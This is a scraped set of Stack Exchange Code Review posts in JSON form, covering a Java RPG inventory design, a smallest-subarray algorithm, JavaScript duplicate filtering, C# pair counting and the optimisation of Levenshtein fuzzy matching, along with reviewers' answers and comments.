"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T10:25:09.913",
"Id": "212835",
"ParentId": "212802",
"Score": "17"
}
},
{
"body": "<p>In addition to other answers, I would like to focus on \"Bag management\"</p>\n\n<ol>\n<li><p>I would extract elementary bag operations like simple adding/removing/searching an item from high level methods like: <code>buyItem</code>, <code>sellItem</code>, <code>addItem</code> and <code>useItem</code>. Following OOD principles, I think that the best place for those elementary operations is <code>Bag</code> class itself.</p></li>\n<li><p>After this simple refactoring, it would be easier to fix some bugs/corner cases:</p>\n\n<ul>\n<li>Consider buying a new item when player does not have any empty slot for it.</li>\n<li>Consider an exploit by passing an item that player does not have in his inventory to <code>useItem</code>/<code>sellItem</code> methods</li>\n</ul></li>\n<li><p>I would suggest writing some test cases for it (as you have test suite ready for use)</p></li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T13:55:47.023",
"Id": "411650",
"Score": "1",
"body": "I was close to suggesting using better data structures/collections but I suppose that the current form has got some usage in graphical representation. I have never played `Dragon Quest` but I can simply imagine some kind of inventory like in `Diablo`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T15:29:36.480",
"Id": "411661",
"Score": "2",
"body": "I wholeheartedly agree with the `Player` class not being the correct place for the buy/sell functionality. Following Single Responsibility, from design perspective it's simply not the *player* itself that handles these. If the items start adding VAT (...yeah...) then you shouldn't change the `Player` class to factor that in. But more concerning is that `addItem` code that exists in `Player`. There is simply no reason for the tight coupling of the add logic there. As it stands, the `Bag` hardly offers anything of value if operations such as this are external to it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T17:02:07.907",
"Id": "411678",
"Score": "1",
"body": "@VLAZ but \"high level\" `buyItem` method does make sense in `Player` class for two reasons:\n1) from the game point of view, the player buys new items, not bag itself \n2) We have to check if player has enough funds to buy new items. Anyway I agree that from SRP perspective, `Player` class handles too much and should be divided into smaller parts. Maybe something like `Customer` or `Possessor` mixin?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T17:07:06.120",
"Id": "411679",
"Score": "2",
"body": "Yes, an entry point for buy/sell is possible for `Player`. But the handling can still be delegated to another class. A mixin works in this case. Whether you want the bag to make a transaction is somewhat of a design choice. It doesn't make IRL sense, really - it's not my trolley that makes a purchase when I go to the store but with an online shopping cart, you could have the logic there. A better option would be to have some third party `Transaction` type class that handles this - it would have be given a `Player` and `Bag` and move items then adjust funds with all checks involved."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T17:10:26.967",
"Id": "411680",
"Score": "2",
"body": "(continued) so the \"business logic\", if you wish would be implemented there. `Bag` is responsible for adding/removing items, `Player` for holding the gold. Neither would know, nor care, how a purchase is made. As far as `Bag` is concerned - it gets a new item. Assuming there is space. As far as `Player` is concerned, some gold is lost. Assuming there is enough. The inverse is true for selling `Bag` loses an item, `Player` gains gold. `Transaction` can be implemented as a Command design pattern."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T17:15:06.533",
"Id": "411682",
"Score": "0",
"body": "@VLAZ Good idea!"
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T13:48:56.940",
"Id": "212842",
"ParentId": "212802",
"Score": "3"
}
},
{
"body": "<p>I think a key point that is still missing is the idea of separating logic from data. The stat values should be stored in some sort of text file so that they can be changed separately from compiling the game. (Maybe a CSV?)</p>\n\n<p>Consider a point where you have a hundred different enemies. You don't want to have all 1400 attributes stored in code (14 attributes per enemy).</p>\n\n<p>Expanding on this, you could also offload the \"configuration\" of each enemy to this same file. (What they are strong/weak against, what they drop, the gold/XP they are worth, their rarity,...)</p>\n\n<p>This is an excellent resource that expounds on this idea a bit further: <a href=\"http://gameprogrammingpatterns.com/bytecode.html\" rel=\"noreferrer\">http://gameprogrammingpatterns.com/bytecode.html</a></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T17:07:48.743",
"Id": "212862",
"ParentId": "212802",
"Score": "7"
}
}
] | {
"AcceptedAnswerId": "212805",
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T17:42:03.480",
"Id": "212802",
"Score": "15",
"Tags": [
"java",
"role-playing-game"
],
"Title": "Player class for RPG/DND type game"
} | 212802 |
<p>Given some array, find the smallest subarray with a sum that is greater than a value given.</p>
<p>So for instance, given this array:</p>
<pre><code>{1, -4, -45, 6, 0, 19, 16, 17}
</code></pre>
<p>and the give value of <code>51</code>, the smallest subarray with a sum greater than <code>51</code> would be <code>{19, 16, 17}</code></p>
<p>The idea is to use a window to scan over the elements, expanding it on the right and contracting it on the left as needed.</p>
<pre><code>public class SmallestSubarray {
static int[] smallestSub(int[] arr, int targetSum) {
int winnerL = 0, winnerR = Integer.MAX_VALUE;
int currentSum = 0;
int leftI = 0;
//widen the window from the right side
for (int rightI = 0; rightI < arr.length; rightI++) {
currentSum += arr[rightI];
//handle negatives, collapse the window
if (currentSum < 0) {
//move L past R because R is going to increment next... otherwise left will be sitting on the wrong value
leftI = rightI + 1;
if (leftI == arr.length) {
return new int[0];
}
currentSum = 0;
continue;
}
// now we've built up a sum greater than target. trim it down if possible
while (currentSum > targetSum && leftI <= rightI) {
// if current window is smaller than the last smallest window
if (rightI - leftI < winnerR - winnerL) {
winnerL = leftI;
winnerR = rightI;
}
//chip away at current sum and shrink window from left.
currentSum -= arr[leftI++];
}
}
if (winnerR == Integer.MAX_VALUE) {
return new int[0];
}
return Arrays.copyOfRange(arr, winnerL, winnerR +1);
}
public static void main(String[] args) {
int[] arr2 = {1, -4, -45, 6, 0, 19, 16, 17};
int[] result = smallestSub(arr2, 51);
System.out.println("Arrays.toString(result) = " + Arrays.toString(result));
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T21:52:47.007",
"Id": "411594",
"Score": "0",
"body": "I may be wrong, but after looking briefly at your solution, it doesn't look correct to me."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T22:35:38.683",
"Id": "411596",
"Score": "0",
"body": "@GeorgeBarwood - thanks for looking. What doesn't look correct? Thanks."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T23:00:32.550",
"Id": "411604",
"Score": "0",
"body": "I don't think your \"trim it down\" code is correct. `currentSum` could temporarily dip below `targetSum` but then come back up again ( and you will not see that ). Imagine going for a hike and trying to note all climbs of more than 51 feet."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T01:58:36.860",
"Id": "411614",
"Score": "0",
"body": "yeah, it comes up with the wrong result for `{1, -4, -45, 6, -6, 19, 16, -1, 18}`"
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T21:35:24.960",
"Id": "212810",
"Score": "1",
"Tags": [
"java",
"algorithm"
],
"Title": "Find the smallest subarray with sum greater than a given value"
} | 212810 |
<p>I need to filter an array of form controls to check for duplicate values. I have written the following algorithm to identify and return an array of the controls which have are duplicates. I have not seen this <code>indexOf</code> based approach in any of the sample duplicate checkers one finds in Google. Can anyone here spot a flaw in my code?</p>
<p><a href="https://codepen.io/hsimah/pen/exRgOa?editors=1011" rel="nofollow noreferrer">Testing codepen</a>.</p>
<pre><code>// select all keys
const duplicateKeys = values.map((current) => current.name);
// filter duplicate keys
const filteredDuplicateKeys = duplicateKeys.reduce((prev, name, index, names) => {
if (names.indexOf(name) !== names.indexOf(name, index)) {
if (!prev.includes(name)) return prev.concat(name);
}
return prev;
}, []);
// filter original array based on identified duplicate keys
const duplicates = values.reduce((prev, current) => filteredDuplicateKeys.indexOf(current.name) > -1 ? prev.concat(current) : prev, []);
</code></pre>
| [] | [
{
"body": "<h2>Some inefficiencies in your code.</h2>\n\n<ul>\n<li><code>concat</code> is a memory and CPU hog as it creates a new array each time you call it. If you are just adding to an array use <code>array.push</code> as it has much less overhead.</li>\n<li>You look for two indexes with <code>if (names.indexOf(name) !== names.indexOf(name, index))</code> but you only need to know if the second result is <code>> -1</code> the first search is redundant.</li>\n<li>You don't need to create an array of keys <code>duplicateKeys</code>. You can use <code>Array.findIndex</code> instead and work on the original items.</li>\n<li>When you have located a duplicate key you do not need to check if it already exists in the list of duplicate keys. It does not matter if you duplicate items in the array of duplicate keys. Memory is cheaper than CPU cycles so favour memory over CPU cycles.</li>\n<li>When you have the list of duplicated keys you can use <code>Array.filter</code> to extract the items with those keys.</li>\n</ul>\n\n<p>Thus you can simplify the function to </p>\n\n<pre><code>function getDuplicates(arr, key = \"name\") {\n const dupKeys = arr.reduce((prev, item, index, arr) => {\n if (arr.findIndex((val, idx) => idx > index && val[key] === item[key]) > -1) {\n prev.push(item[key]); \n return prev;\n }\n return prev;\n }, []);\n return arr.filter(item => dupKeys.includes(item[key]));\n}\n</code></pre>\n\n<h2>Hash tables for faster lookups</h2>\n\n<p>You can get better performance and less complexity if you use a <code>Map</code>. It creates a hash table for each entry making lookups much faster. Use the map to count how many copies of a key there are and then filter the array depending on the count.</p>\n\n<pre><code>function getDuplicates(arr, key = \"name\") { \n const keys = new Map();\n for(const val of arr) {\n if (keys.has(val[key])) { keys.get(val[key]).count += 1}\n else { keys.set(val[key], {count: 1}) }\n }\n return arr.filter(val => keys.get(val[key]).count > 1);\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T01:04:09.353",
"Id": "411610",
"Score": "0",
"body": "Thanks for taking the time to review my code. I appreciate the tips for improving efficiency."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T00:39:45.617",
"Id": "212816",
"ParentId": "212814",
"Score": "2"
}
},
{
"body": "<p>The important flaw in your code is runtime complexity. <code>reduce</code>, <code>indexOf</code> and <code>includes</code> all have runtimes that are linear (<b>O</b>(n)) in the size of the array. You're running the latter two once for every iteration of <code>reduce</code>, giving a quadratic (<b>O</b>(n<sup>2</sup>)) runtime. Doubling the length of the input will quadruple the running time.</p>\n\n<p>A secondary flaw is excess regular human-brain complexity: it's more lines of code and data structures than are needed. </p>\n\n<p>The typical approach involves a single hash table to count duplicates and just two lines of code: one to count, one to filter:</p>\n\n<pre><code>var countKeys = {};\nvalues.forEach( value => countKeys[value.name] = (countKeys[value.name] || 0) + 1 )\nconst duplicates = values.filter( value => countKeys[value.name]>1 );\n</code></pre>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const values = [\n {\n name: 'Duplicate 1',\n value: [1,2,3],\n },\n {\n name: 'Duplicate 2',\n value: [1,2,3],\n },\n {\n name: 'Duplicate 1',\n value: [1,2,34],\n },\n {\n name: 'Duplicate 2',\n value: [1,2,3],\n },\n {\n name: 'Duplicate 2',\n value: [1,2,3],\n },\n {\n name: 'Not Duplicate',\n value: [1,2,3],\n },\n];\n\n\nvar countKeys = {};\nvalues.forEach( value => countKeys[value.name] = (countKeys[value.name] || 0) + 1 )\nconst duplicates = values.filter( value => countKeys[value.name]>1 );\nconsole.log(duplicates)</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><p></code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T01:03:37.890",
"Id": "411609",
"Score": "0",
"body": "Thank you for taking the time to share that information. That complexity is quite high - I guess that is why this is not an appropriate solution to the problem."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T00:42:52.450",
"Id": "212817",
"ParentId": "212814",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T22:51:10.790",
"Id": "212814",
"Score": "0",
"Tags": [
"javascript",
"array"
],
"Title": "Filter non-duplicate objects from collection"
} | 212814 |
<p>Given a <code>List<int></code>, the problem I am trying to solve is:
<strong>Find the number of unique pairs in <code>List<int></code> such that their addition is exactly equal to the input value.</strong> </p>
<p>The bottleneck is a nested <code>for()</code> loop that I have used to go through the list</p>
<pre><code>// *** OPTIMIZE THIS LOOP ***
for (int i = 0; i < intList.Count - 1; i++)
{
for (int j = i + 1; j < intList.Count; j++)
{
if ((intList[i] + intList[j] == totalValue) &&
IsPairUnique(intList[i], intList[j]) == true)
{
nCombinations++;
}
}
}
</code></pre>
<p>How can this be made better for performance? I understand 'better' is a subjective word and has no real meaning as such. For a <code>List<int></code> of size 50000 the code takes about 18 seconds on one of my VM. For 500000 it's way too worst. So, here by 'better' I mean 'faster'. Clearly this problem deserves much less than 18 seconds to solve in my opinion. With 1 <code>Parallel.For()</code> I have managed to get the loop time to 10-11 seconds, but I have a feeling that this whole algorithm needs a fresh set of eyes to look at. </p>
<pre><code>Parallel.For(0, intList.Count - 1,
i =>
{
for (int j = i + 1; j < intList.Count; j++)
{
if ((intList[i] + intList[j] == totalValue) && IsPairUnique(intList[i], intList[j]) == true)
{
nCombinations++;
}
}
});
</code></pre>
<p>How can I speed this up?
Full code from my console application is as below: </p>
<pre><code>class TestClass
{
static List<int> compareList = new List<int>();
// GetPossibleCombination method.
// This method finds out the unique number of possible combinations where
// addition of any 2 values from the list is exactly equal to 'totalValue'
static int GetPossibleCombinations(List<int> intList, long totalValue)
{
// handle edge conditions
if (intList == null ||
intList.Count == 0 ||
intList.Count > 500000 ||
totalValue > 5000000000)
return 0;
compareList.Clear();
int nCombinations = 0;
// *** OPTIMIZE THIS LOOP ***
for (int i = 0; i < intList.Count - 1; i++)
{
for (int j = i + 1; j < intList.Count; j++) // start from this element onwards
{
if ((intList[i] + intList[j] == totalValue) && IsPairUnique(intList[i], intList[j]) == true)
{
nCombinations++;
}
}
}
return nCombinations;
}
// This method creates a list of possible values we have
static bool IsPairUnique(int v1, int v2)
{
if (compareList.Contains(v1 * 10 + v2) == true || compareList.Contains(v2 * 10 + v1) == true)
return false;
else
{
// else add a new one
compareList.Add(v1 * 10 + v2);
compareList.Add(v2 * 10 + v1);
}
return true;
}
static void Main(string[] args)
{
int intListSize = 50000; // Optimize it for numbers upto 500,000
long totalValue = 5000;
List<int> intList = new List<int>();
Random r = new Random();
for (int i = 0; i < intListSize; i++)
{
intList.Add(r.Next(0, 10000)); // populate random values.
}
Stopwatch sw = new Stopwatch();
sw.Start();
// Find the number of unique pairs in 'intList' such that
// their addition is exactly equal to 'totalValue'
int res = GetPossibleCombinations(intList, totalValue);
sw.Stop();
Console.WriteLine(sw.Elapsed.ToString());
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T01:13:35.183",
"Id": "411612",
"Score": "1",
"body": "Does \"unique pairs\" mean \"unique indexes\", \"unique values\", or \"unique combinations of values\"? For example: if the data is `1, 1, 1` and the input value is `2`, do we have zero, one or three unique pairs?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T01:55:52.990",
"Id": "411613",
"Score": "1",
"body": "@OhMyGoodness, \"unique pairs\" mean \"unique combinations of values\" from the list. e.g.: If 'totalValue' we are looking for is 5 and the value at list[i] is 2, list[i+1] is 3 and list[j] 3, list[j+1] is 2 then only one pair (either i, i+1 or j, j+1) should be considered. Hope this helps."
}
] | [
{
"body": "<p>The solution has a quadratic time complexity. If it solves the 50000-strong list in 18 seconds, I'd expect about 1800 seconds (aka 30 minutes) for a 500000 one. Notice that the problem is aggravated by the way you are looking for duplicates (and <code>IsPairUnique</code> doesn't look correct; it is prone to false positives).</p>\n\n<p>There are few standard ways to bring the complexity down.</p>\n\n<ul>\n<li><p>Sort the list. Arrange two iterators, one at the beginning, another at the end.</p>\n\n<p>Now add the pointed elements. If the sum is less than the target, advance the left one. If it is greater, move the right one toward the beginning. If it is a target, record it, and move both. In any case, when moving an iterator, skip duplicates. Rinse and repeat until they met.</p></li>\n<li><p>If you have enough extra memory, put them in a set. For each element in a set check if its complement is also there.</p></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T02:45:04.663",
"Id": "411616",
"Score": "0",
"body": "The set approach won't detect 1+1=2"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T12:51:52.343",
"Id": "411649",
"Score": "0",
"body": "You could very well keep track of how many entries with a value of `totalValue/2` you have (if `totalValue` is even) - if you have 2+ entries, count it as an additional pair. For all other numbers, it doesn't matter how many of them you've seen."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T02:31:51.453",
"Id": "212820",
"ParentId": "212818",
"Score": "8"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T01:06:14.597",
"Id": "212818",
"Score": "5",
"Tags": [
"c#",
"performance",
"programming-challenge",
"k-sum"
],
"Title": "Count pairs in list of integers such that their addition is equal to the input value"
} | 212818 |
<p>I am currently working on a problem to find the best matches of data in a List namely "ListA" from another List called "ListB". Whenever I find a match of an element for "ListA" with any element in "ListB" which has a confidence and accuracy with 70% or greater I add the matched string from List B and the string in List A to a tuple which I further save in a database.</p>
<p>Levenshtein algorithm gives me the distance between the word in ListA and words in ListB, I use the distance to calculate the similarity between the words and compare them with my threshold of 70% and if the values returned is equal or greater than the 70 percent threshold then I add the results which are either 70% or greater to the tuple.</p>
<p>The code that I have written for this process works fine if the records in "ListA" and "ListB" are within thousands of values and if I increase the records to a million it takes about an hour to calculate the distance for each element of the List A. </p>
<p>I need to optimize the process for huge data sets. Please advise where do I need to make the improvements.</p>
<p>My code for the process so far looks like this</p>
<pre><code> public static PerformFuzzyMatch()
{
// Fetch the ListA & List B from SQL tables
var ListACount = await FuzzyMatchRepo.FetchListACount();
var ListB = await FuzzyMatchRepo.FetchListBAsync();
//Split the ListA data to smaller chunks and loop through those chunks
var splitGroupSize = 1000;
var sourceDataBatchesCount = ListACount / splitGroupSize;
// Loop through the smaller chunks of List A
for (int b = 0; b < sourceDataBatchesCount; b++)
{
var currentBatchMatchedWords = new List<Tuple<string, string, double>>();
int skipRowCount = b * splitGroupSize;
int takeRowCount = splitGroupSize;
// Get chunks of data from ListA according to the skipRowCount and takeRowCount
var currentSourceDataBatch = FuzzyMatchRepository.FetchSourceDataBatch(skipRowCount, takeRowCount);
//Loop through the ListB and parallely calculate the distance between chunks of List A and List B data
for (int i = 0; i < ListB.Count; i++)
{
Parallel.For(
0,
currentSourceDataBatch.Count,
new ParallelOptions { MaxDegreeOfParallelism = Environment.ProcessorCount * 10 },
cntr =>
{
try
{
// call the Levenshtein Algorithm to calculate the distance between each element of ListB and the smaller chunk of List A.
int leven = LevenshteinDistance(currentSourceDataBatch[cntr], ListB[i]);
int length = Math.Max(currentSourceDataBatch[cntr].Length, ListB[i].Length);
double similarity = double similarity = 1.0 - (double)leven / length;
if ((similarity * 100) >= 70)
{
currentBatchMatchedWords.Add(Tuple.Create(currentSourceDataBatch[cntr], ListB[i], similarity));
}
cntr++;
}
catch (Exception ex)
{
exceptions.Enqueue(ex);
}
});
}
}
}
</code></pre>
<p>And the algorithm which it calls to calculate the distance is </p>
<pre><code> public static int LevenshteinDistance(this string input, string comparedTo, bool caseSensitive = false)
{
if (string.IsNullOrWhiteSpace(input) || string.IsNullOrWhiteSpace(comparedTo))
{
return -1;
}
if (!caseSensitive)
{
input = Common.Hashing.InvariantUpperCaseStringExtensions.ToUpperInvariant(input);
comparedTo = Common.Hashing.InvariantUpperCaseStringExtensions.ToUpperInvariant(comparedTo);
}
int inputLen = input.Length;
int comparedToLen = comparedTo.Length;
int[,] matrix = new int[inputLen, comparedToLen];
//initialize
for (var i = 0; i < inputLen; i++)
{
matrix[i, 0] = i;
}
for (var i = 0; i < comparedToLen; i++)
{
matrix[0, i] = i;
}
//analyze
for (var i = 1; i < inputLen; i++)
{
ushort si = input[i - 1];
for (var j = 1; j < comparedToLen; j++)
{
ushort tj = comparedTo[j - 1];
int cost = (si == tj) ? 0 : 1;
int above = matrix[i - 1, j];
int left = matrix[i, j - 1];
int diag = matrix[i - 1, j - 1];
int cell = FindMinimumOptimized(above + 1, left + 1, diag + cost);
//transposition
if (i > 1 && j > 1)
{
int trans = matrix[i - 2, j - 2] + 1;
if (input[i - 2] != comparedTo[j - 1])
{
trans++;
}
if (input[i - 1] != comparedTo[j - 2])
{
trans++;
}
if (cell > trans)
{
cell = trans;
}
}
matrix[i, j] = cell;
}
}
return matrix[inputLen - 1, comparedToLen - 1];
}
</code></pre>
<p>Find Minimum Optimized</p>
<pre><code> public static int FindMinimumOptimized(int a, int b, int c)
{
return Math.Min(a, Math.Min(b, c));
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T07:53:59.203",
"Id": "411628",
"Score": "2",
"body": "Please post the comple and possibly working code and example usage with sample data. Do not ommit anything like _// save the data in tuple._. It makes reviewing it impossible. Also how can we suggest anthing if you do not even post the `LevenshteinDistance`... unless it's recursive and you didn't post the signature... well just post everything and some examples or unit-tests if you have any."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T08:49:50.050",
"Id": "411631",
"Score": "1",
"body": "thanks @t3chb0t, I have made the edits in the question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T08:51:31.433",
"Id": "411632",
"Score": "2",
"body": "Great! I flipped my vote ;-)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T09:51:22.237",
"Id": "411637",
"Score": "0",
"body": "Where's the implementation of `FindMinimumOptimized`? (and `ToUpperInvariant`, for completeness sake)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T09:54:28.830",
"Id": "411638",
"Score": "0",
"body": "Thanks @PieterWitvoet, I have edited and included it in the edit"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T10:14:02.810",
"Id": "411639",
"Score": "2",
"body": "@Shahid: thanks. It looks like there's a problem with your Levenshtein implementation though: the distance between `\"a\"` and `\"\"` should be 1, not -1, and between `\"abc\"` and `\"def\"` should be 3, not 2. Also, why are you interpreting the Levenshtein distance as a similarity percentage? It's the number of differences, not a similarity rating..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T09:43:14.847",
"Id": "411864",
"Score": "0",
"body": "@PieterWitvoet what shall I use for the similarity rating. Anyway its going to have a quadratic cost?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T09:57:31.610",
"Id": "411866",
"Score": "0",
"body": "@Shahid: that very much depends on your requirements. Why do you need to check for similar words? What exactly does '70% similar' mean? For what purpose will the results be used?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T10:31:20.530",
"Id": "411872",
"Score": "0",
"body": "@PieterWitvoet This is a data cleanse project where I will have a excel with company names which I have to compare against a table which contains millions of company names and the user selects a percentage of accuracy (70% is the accuracy)after which the process runs and the matched results are then stored in the database. I recently stumbled upon this algorithm which is fast but it accepts theLevenshtien distance as an input however in my code I use the distance returned from the Levenshtien algorithm and then compare it with my threshold"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T12:22:07.467",
"Id": "411891",
"Score": "3",
"body": "If '70% accurate' translates to 'a maximum edit distance of 3 per 10 characters', then you can modify your Levenshtein method to bail out as soon as it knows the edit distance will be larger than allowed for the given words. Bailing out if the word lengths differ too much could also be a useful optimization (depending on the actual data)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-11T19:21:50.093",
"Id": "412527",
"Score": "0",
"body": "I would try and rework the function 'preformFuzzyMatch' to not be a double for loop. Since that makes the complexity O(n^2). If you want to go to millions then O(log(n)) would be a better option. Especially since you also have another double for each loop in the LEV function. So a bale out option as Pieter mentioned would be a good idea, like 10 characters left, 7 matched, 3 left bale out function is done. Scale from there for bigger words, like 20 characters 14 matched 0 misses bale."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-11T19:34:52.760",
"Id": "412528",
"Score": "0",
"body": "The reverse to that is also true, if you are already at 4 chars out of 10 and have 3 misses then leave the function because it won't be a match. So I'd also introduce a 'miss' count and once it hits 30% or more of the word bale on the function. Any chance on sorting the list out alphabetically? Because you can probably throw out sections of the list if the first couple of letters don't match with out even going further in. Trying to think of a good way to execute this without throwing away actual 70% matches and help with optimization."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-03-02T10:20:38.627",
"Id": "414984",
"Score": "0",
"body": "I was wondering if I have both the datasets in SQL why dont I do the Fuzzy Match there @PieterWitvoet"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-17T06:59:57.143",
"Id": "465514",
"Score": "0",
"body": "see also on SO: [Optimize matching elements from two large data sets using Levenshtein distance…](https://stackoverflow.com/questions/54511595/optimize-matching-elements-from-two-large-data-sets-using-levenshtein-distance)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-17T07:01:29.460",
"Id": "465515",
"Score": "0",
"body": "@greybeard Thanks, I had posted that question on SO :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-19T05:39:02.057",
"Id": "465836",
"Score": "0",
"body": "One advantage of starting to tackle a problem is that you find helpful questions to ask, leading to negative results (sparing time) or helpful answers: [in-set close matches](https://cs.stackexchange.com/a/27555)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-22T13:39:24.880",
"Id": "466278",
"Score": "0",
"body": "Having second thoughts about the origin of the `LevenshteinDistance()` implementation. Anyway, look at the terminating conditions in [A.S. Johansen's pre-2003 (\"Berghel;Roach\") implementation](http://web.archive.org/web/20021005221441/http://www.merriampark.com/ldcpp.htm)."
}
] | [
{
"body": "<p>(I'm tempted to comment on, I guess, program development in general or getting more out of CodeReview@SE as opposed to reviewing the code.)</p>\n\n<ul>\n<li>Document your code. In the code. Use what tool support you can get, for \"the C-family\", I use&recommend <a href=\"http://www.doxygen.nl/manual/docblocks.html\" rel=\"nofollow noreferrer\">doxygen</a>.<br>\n• Document the external/public interface:<br>\nWhat is the purpose is <code>PerformFuzzyMatch()</code>? All I can see is the locally declared <code>currentBatchMatchedWords</code> growing.<br>\nWhat are <code>FuzzyMatchRepo</code> and <code>FuzzyMatchRepository</code>?<br>\n• Comment <em>why</em> everything non-trivial is there.</li>\n<li>going parallel seems the way to go - depending on approach, it may prove advantageous to estimate whether exchanging the roles of list A and B promises an improvement.<br>\nThe fixed group/batch size looks debatable.</li>\n<li>the fixed <em>similarity limit</em> looks inflexible -<br>\nuse a function as a parameter?</li>\n<li>computing the exact distance when interested in <em>similar enough</em> is wasteful as <a href=\"https://codereview.stackexchange.com/questions/212823/levenshtein-distance-between-each-pair-of-elements-from-two-large-data-sets/237420#comment411891_212823\">commented by Pieter Witvoet</a></li>\n</ul>\n\n<p>To find solutions to evaluate, I find it useful to collect what seems helpful, with an eye on <em>what in the problem at hand differs from well known problems</em>:</p>\n\n<ul>\n<li>sorting the lists by length&contents allows<br>\n• weeding out words occurring than once<br>\n• establishing bounds on similarity<br>\n• reusing partial results in \"dynamic computation\"</li>\n<li>character histograms help establish bounds on distance:<br>\nsum of absolute differences is a lower bound</li>\n<li>the most simple part carrying information about relative position is <em>digram</em>/(ordered)<em>pair of characters</em> </li>\n<li>the <a href=\"https://en.m.wikipedia.org/wiki/Triangle_inequality\" rel=\"nofollow noreferrer\">triangle inequality</a> holds for the edit distances counting replacements (Hamming), insertions&deletions (Levenshtein) and <em>unrestricted</em> neighbour transpositions (unrestricted Damerau-Levenshtein - still not sure whether there is a generally accepted nomenclature)<br>\nThis is related to what <a href=\"https://stackoverflow.com/questions/54511595/optimize-matching-elements-from-two-large-data-sets-using-levenshtein-distance#comment96935784_54516063\">\"the Wei/Chuan/Xuemin/Chengqi paper\"</a> seems to exploit (from glossing that over)</li>\n<li>\"all about a string\" is in its <em>suffix array</em><br>\nThen, there is <em>FM-index</em> (<em>Fulltext-Minute-</em>)</li>\n</ul>\n\n<hr>\n\n<ul>\n<li><code>LevenshteinDistance()</code> seems to compute the <em>restricted</em> Damerau-Levenshtein distance<br>\nusing offsets into the strings of -1 and, for transpositions, -2, which looks unusual<br>\nignoring last characters, which looks erroneous(, if consequential)</li>\n<li>it allocates an array with size the product of the lengths involved.<br>\nWagner-Fischer reduces this to two rows for Levenshtein; it should be easy to extend this to one more row for Damerau-Levenshtein<br>\nreducing this by one row has been done for Levenshtein</li>\n<li>given an upper bound on distance (like <em>length of longer string</em>), don't compute entries that exceed that bound (<em>Ukkonen's optimisation</em> - en.wikipedia mentions single-row implementation but not this one?!).</li>\n<li>your code follows the mathematical presentation of the measure closely, missing to bail out early:<br>\nif the characters match or the current character is the 2nd of a transposition, the distance does not increase, <em>and <strong>no other edit costs less</em></strong></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-17T07:19:01.373",
"Id": "465517",
"Score": "0",
"body": "I actually managed to get the run times down by a major factor using this https://github.com/wolfgarbe/SymSpell"
},
{
